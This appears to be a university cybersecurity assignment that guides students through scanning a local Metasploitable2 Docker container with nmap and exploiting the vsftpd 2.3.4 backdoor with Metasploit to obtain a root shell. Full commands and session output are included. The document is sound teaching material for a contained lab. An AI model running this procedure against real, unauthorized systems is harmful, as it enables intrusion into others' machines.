📬 Submit this assignment by **Monday, March 20th at 11:59pm PDT** using the *Submit* button 👉

## **Project #4: Exploits!**

### **Overview**

"...I'm in."

It's the most traditional line of the hollywood hacker, and it says something about how we think about cybersecurity. People typically think it's all trying to gain access to someone else's computer. As we've already started to see, that's not actually always the case!

But today it is.

Today we'll be scratching the surface of **penetration testing**, in which we purposefully try to gain access to a vulnerable system. For the required portion, we'll provide step-by-step instructions on hacking into specially-made vulnerable system. For the stretch portion, you'll be free to try to find your own exploits.

Good luck!

### **🎯 Goals**

By the end of this assignment you will be able to...

* Set up and run a provided Docker image
* Use nmap to check for open ports and port vulnerabilities
* Use the Metasploit Framework to run pre-made exploits

### **📬 What You'll Turn In**

For this assignment, you'll be turning in GIFs (animated screencaptures) of you performing the exploit(s).

To record your GIFs, we recommend installing the following software on your **host OS** (not on Kali):

* [Kap](https://getkap.co/) (macOS)
* [ScreenToGif](https://www.screentogif.com/) (Windows)
* [peek](https://github.com/phw/peek) (Linux).

Required Challenge

*(Detailed instructions for performing this exploit are provided below.)*

You are **required** to turn in:

* **A GIF demonstrating the vsftpd backdoor exploit, showing:**
  + Running lsb\_release -a on both Kali and Metasploitable (Part 1)
  + Using nmap to verify the vulnerability on port 21 (Part 2)
  + Running msfconsole, then loading and executing the exploit (Part 4)
  + Running lsb\_release -a from inside the exploited shell to prove access to Metasploitable (Part 4)

You are **not** required to show:

* Package installation and setup
* Checking IP addresses
* Connecting to Kali (ssh or rdp)

Close Section

Stretch Challenge

For bonus points, you may submit:

* **A GIF demonstrating a Metasploit exploit on a different port**
  + Go step-by-step and show how to exploit a different port besides 21
  + You will have to find your own exploit here... good luck!

Close Section

## **Project Instructions**

### **Part 1: The Target**

So, it's not easy to hack into a computer. (Thankfully!) Modern computer systems have full [Security Teams](https://learn.microsoft.com/en-us/security-updates/securitybulletins/securitybulletins) that are constantly working to patch and prevent vulnerabilities.

That's where [Metasploitable](https://docs.rapid7.com/metasploit/metasploitable-2/) comes in. It's a Virtual Machine that has been purposefully left *unpatched*, so that people like us can use it to learn cybersecurity! To read more about the various ways the machine has been left vulnerable, you can read the [Metasploitable Exploitability Guide](https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/).

We'll talk more about the vulnerabilities in the next part. Right now, we need to get the machine running. To let us run Metasploitable directly on Kali, we'll use a [Docker Image](https://hub.docker.com/r/tleemcjr/metasploitable2).

Follow these steps to download and install docker:

* Open a kali terminal session (ssh or rdp) and run the following commands:
  + sudo apt install -y docker.io (installs docker)
  + sudo systemctl enable docker --now (turns docker on)
  + sudo gpasswd -a $USER docker (adds your user to docker's group)

🤔 Why not just create a second VM?

**Metasploitable** is an Operating System in it's own right, and can absolutely be run as it's own VM. However, there's a couple issues we would run into if we tried to do that for this course:

* Network access: We would have to make the two VMs (Kali and Metasploitable) be able to talk to **each other** without anyone from the **external** internet being able to hack Metasploitable. Remember, Metasploitable is SUPER vulnerable to being hacked -- and that isn't just by you!
* Azure limitations: Since we're hosting our Kali machines in Azure, we would also probably want to run our Metasploitable machines there. Unfortunately, Azure doesn't have any out-of-the-box Metasploitable support, so it would take **hours** to set up and some fancy software. Not worth it!

Finally, run the following command to download and run the Metasploitable docker container:

docker run --name metasploitable -it tleemcjr/metasploitable2:latest sh -c "/bin/services.sh && bash"

* **Will need to restart the vm if this doesn’t work or try with sudo command**

You'll see a bunch of loading messages... hopefully [ OK ]s.. and eventually a prompt:

root@eed0adc4aea4:/#

💡 Tip: If you accidentally shut down your Metasploitable docker image, you can use the docker start command to revive it:

* docker start -ai metasploitable

Congratulations... your **Kali** terminal is now a **Metasploitable** terminal!

* Open a 2nd kali terminal (either another window in RDP, or another ssh session)
* Run lsb\_release -a in **both** terminals and compare the results.
  + You should see something like this:

└─$ lsb\_release -a | root@eed0adc4aea4:/# lsb\_release -a

|

Distributor ID: Kali | Distributor ID: Ubuntu

Description: Kali GNU/Linux Rolling | Description: Ubuntu 8.04

Release: 2022.4 | Release: 8.04

Codename: kali-rolling | Codename: hardy

🤔 What Linux distro does Metasploitable use?

#### **Finding the target IP**

* Next, let's compare their network address info with ifconfig.
  + For Kali, we're interested in the docker0 interface (how Kali talks to its docker boxes)
  + For Docker, we're interest in the eth0 interface (it's primary "ethernet" connection)

Help, I'm getting a 'Command not found' error when I run ifconfig

ifconfig was recently deprecated on new releases of Kali. To achieve the same results, you can use the ip -4 a command instead:

┌──(kali㉿kali)-[~]

└─$ ip -4 a

1: lo: <LOOPBACK,UP,LOWER\_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000

inet 127.0.0.1/8 scope host lo

valid\_lft forever preferred\_lft forever

2: eth0: <BROADCAST,MULTICAST,UP,LOWER\_UP> mtu 1500 qdisc mq state UP group default qlen 1000

inet 10.0.0.4/24 brd 10.0.0.255 scope global eth0

valid\_lft forever preferred\_lft forever

3: docker0: <BROADCAST,MULTICAST,UP,LOWER\_UP> mtu 1500 qdisc noqueue state UP group default

inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0

valid\_lft forever preferred\_lft forever

As you can see, the output is formatted a little differently, but all the information you need is still there!

**Kali:**

└─$ ifconfig

docker0: flags**=**4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255

inet6 fe80::42:23ff:feae:b88a prefixlen 64 scopeid 0x20<link>

ether 02:42:23:ae:b8:8a txqueuelen 0 **(**Ethernet**)**

RX packets 95301 bytes 21234929 **(**20.2 MiB**)**

RX errors 0 dropped 0 overruns 0 frame 0

TX packets 91126 bytes 8057966 **(**7.6 MiB**)**

TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

... excess omitted

**Metasploitable:**

root@eed0adc4aea4:/# ifconfig

eth0 Link encap:Ethernet HWaddr 02:42:ac:11:00:02

inet addr:172.17.0.2 Bcast:172.17.255.255 Mask:255.255.0.0

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:89563 errors:0 dropped:0 overruns:0 frame:0

TX packets:93989 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:0

RX bytes:7769027 **(**7.4 MB**)** TX bytes:22341173 **(**21.3 MB**)**

... excess omitted

* From looking at both of these, we can see the inet addr (internet address) fields are **172.17.0.1** (Kali) and **172.17.0.2** (Metasploitable)
  + ⚠️ Your values might be different! Take a moment to **write down** the IP for eth0 on your Metasploitable container, as you'll need it to target your attacks in the next step.

🎯 **Checkpoint 1**: You should have two terminals: One connected to Kali, one connected to Metasploitable, and know the IP for your Metasploitable container!

### **Part 2: The Recon**

All right. Now let's perform some **reconnaissance**. From our Kali box, we can scan the target PC and see if we can find any vulnerabilities to exploit! We'll do this using popular networking tool [**nmap**](https://nmap.org/book/man.html#man-description).

* On a **kali** terminal, run sudo apt install -y nmap to install nmap.
* Next, we'll perform a basic scan of the target Metasploitable container: nmap -p0-65535 172.17.0.2
  + The -p0-65535 flag means "scan every port from 0 to 65535" -- all the possible ports.
  + Whew! That's a lot of open ports!

Each one of those open ports could be a potential path into the vulnerable system! However, to save time of scanning them all, we'll go ahead and tell you: The vulnerability you're looking for is on port 21.

* Run nmap again, but this time scan port 21 for vulnerabilities: nmap 172.17.0.2 --script vuln -p 21

Did you find anything? We're looking for one specific vulnerability: **The vsftpd backdoor**

"On port 21, Metasploitable2 runs vsftpd, a popular FTP server. This particular version contains a backdoor that was slipped into the source code by an unknown intruder. The backdoor was quickly identified and removed, but not before quite a few people downloaded it. If a username is sent that ends in the sequence :) [ a happy face ], the backdoored version will open a listening shell on port 6200. We can demonstrate this with telnet or use the Metasploit Framework module to automatically exploit it." - [Metasploitable Exploitability Guide](https://docs.rapid7.com/metasploit/)

🎯 **Checkpoint 2**: You should be able to verify the ftp-vsftpd-backdoor vulnerability using nmap. Feel free to check the other open ports for vulnerabilities -- what else can you find? 😈

### **Part 3: The Tool**

In the old days, hackers and penetration testers had to write their exploits **manually**. This took a lot of scripting, hours, and caffeine. Instead, we're going to use one of the most powerful penetration testing tools out there: [**Metasploit**](https://www.metasploit.com/). (*Yes, that's where the name "Metasploitable" comes from!*)

* On Kali, run the following commands to install the Metasploit Framework and its prerequisites:

sudo apt install postgresql postgresql-contrib

sudo systemctl enable postgresql --now

sudo apt install metasploit-framework

* Initialize an empty database for Metasploit:

sudo msfdb init

And finally...

* Launch it!

msfconsole

🎯 **Checkpoint 3**: After a bit of waiting, you should see the Metasploit welcome logo, and get a msf6 > prompt. You're in!

💡 Tip: Metasploit just took over your Kali terminal window... so if you need a Kali terminal, you'll have to either quit Metasploit or open a 3rd console!

### **Part 4: The Exploit**

Metasploit has a giant library of different exploits it can run. We want to exploit vsftpd.

* Search for an appropriate exploit by running search vsftpd

msf6 > search vsftpd

Matching Modules

**================**

*# Name Disclosure Date Rank Check Description*

- ---- --------------- ---- ----- -----------

0 exploit/unix/ftp/vsftpd\_234\_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution

Good news! There's a module and it's got a rank of *excellent*. (This means it works reliably!)

* Load the module with use exploit/unix/ftp/vsftpd\_234\_backdoor

💡 Upon loading our exploit, the first thing Metasploit will do is give you the following message:

**[\*]** No payload configured, defaulting to cmd/unix/interact

That's fine for this exploit, but if you try others, keep in mind you may need to modify the payload! You can read more about it on [the Metasploit docs](https://docs.metasploit.com/docs/using-metasploit/basics/how-payloads-work.html).

Notice that your prompt changed to reflect the loaded exploit.

* Run options to view the available settings for this exploit.

msf6 exploit**(**unix/ftp/vsftpd\_234\_backdoor**)** > options

Module options **(**exploit/unix/ftp/vsftpd\_234\_backdoor**)**:

Name Current Setting Required Description

---- --------------- -------- -----------

RHOSTS yes The target host**(**s**)**, see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

RPORT 21 yes The target port **(**TCP**)**

There are two required options, RHOSTS and RPORT. RPORT has correctly defaulted to 21, but we need to set RHOSTS.

* Assign RHOSTS the IP address for ***your*** Metasploitable instance:

msf6 exploit**(**unix/ftp/vsftpd\_234\_backdoor**)** > set RHOSTS 172.17.0.2

RHOSTS **=**> 172.17.0.2

⚠️ Make sure you're using the Metasploitable eth0 IP address you found in Part 1 -- it might not always match the value in the examples!

And... that's it. The set up is done. Let's execute the attack:

* Run exploit and wait!

msf6 exploit**(**unix/ftp/vsftpd\_234\_backdoor**)** > exploit

**[\*]** 172.17.0.2:21 - Banner: 220 **(**vsFTPd 2.3.4**)**

**[\*]** 172.17.0.2:21 - USER: 331 Please specify the password.

**[**+] 172.17.0.2:21 - Backdoor service has been spawned, handling...

**[**+] 172.17.0.2:21 - UID: uid**=**0**(**root**)** gid**=**0**(**root**)**

**[\*]** Found shell.

**[\*]** Command shell session 1 opened **(**172.17.0.1:39157 -> 172.17.0.2:6200**)** at 2022-12-05 22:59:01 +0000

🎉 Congratulations! 🎉 You just gained access to the Metasploitable machine through a backdoor!

Let's test it out:

* Run the commands from before, lsb\_release -a and ifconfig. Which machine does your output match?

Yup. You're on the Metasploitable machine now! If this was a real machine (not a Docker container) you would be able to run scripts, read/copy files, or anything else you can do on a terminal. Consider this computer ***hacked***.

* When you're done, type exit to close the terminal and return to Metasploit.

Congratulations! Go to **"What You'll Turn In"** for instructions on submitting this project.

📘 Resources

* [Metasploitable Exploitability Guide](https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/)
* [Metasploit Module Library](https://www.infosecmatter.com/metasploit-module-library/)
* [Metasploit Exploit Debugging Guide](https://www.infosecmatter.com/why-your-exploit-completed-but-no-session-was-created-try-these-fixes/)

Close Section

💡 Hints

* How do I get started with the Stretch Challenge?
  + You'll want to start by identifying what vulnerability you're going to target.
  + Use nmap to scan different ports and see what you can find.
  + You can also look at the [Metasploitable Exploitability Guide](https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/), but keep in mind **not all exploits listed work on our Metasploitable docker image**.

Close Section

### **📬 Submitting Your Project**

* [📄 **Project 4 Submission Template** (Google Doc)](https://docs.google.com/document/d/1PBg0kPeyuNA6fH9TbMOnp_lrU0GlkFD3LmQZo89iWmQ/copy)

✔ Am I Ready to Submit?

Check if you're **ready to submit** with the following questions:

* Did you complete all of the **Required Challenges**?
* Did you copy and fill out the [**Project 4 Submission Template**](https://docs.google.com/document/d/1PBg0kPeyuNA6fH9TbMOnp_lrU0GlkFD3LmQZo89iWmQ/copy)?
  + It is important that you follow the same layout as the template so that we can easily access your work.
  + Be sure to check off each feature that is implemented in the **"Submission Checklist"** section
* Are any required images/GIFs correctly displaying in your document?
* Did you set your document to ***"Anyone with the link can Edit"***?

If you answered **yes** to **all** of these questions, you are ready to submit!

Look for the **"Submit"** button at the top of this page.

Close Section

📣 **Late Submissions**

* We highly encourage you submit your project in any state (even if it is not done) by the deadline: **Monday, March 20th at 11:59pm PDT**.
* You can continue to work on your project with our **48-hour extension** in which your project will be graded once more once the extension deadline has passed.
* Don't forget to **resubmit through the course portal** with your **updated document link**!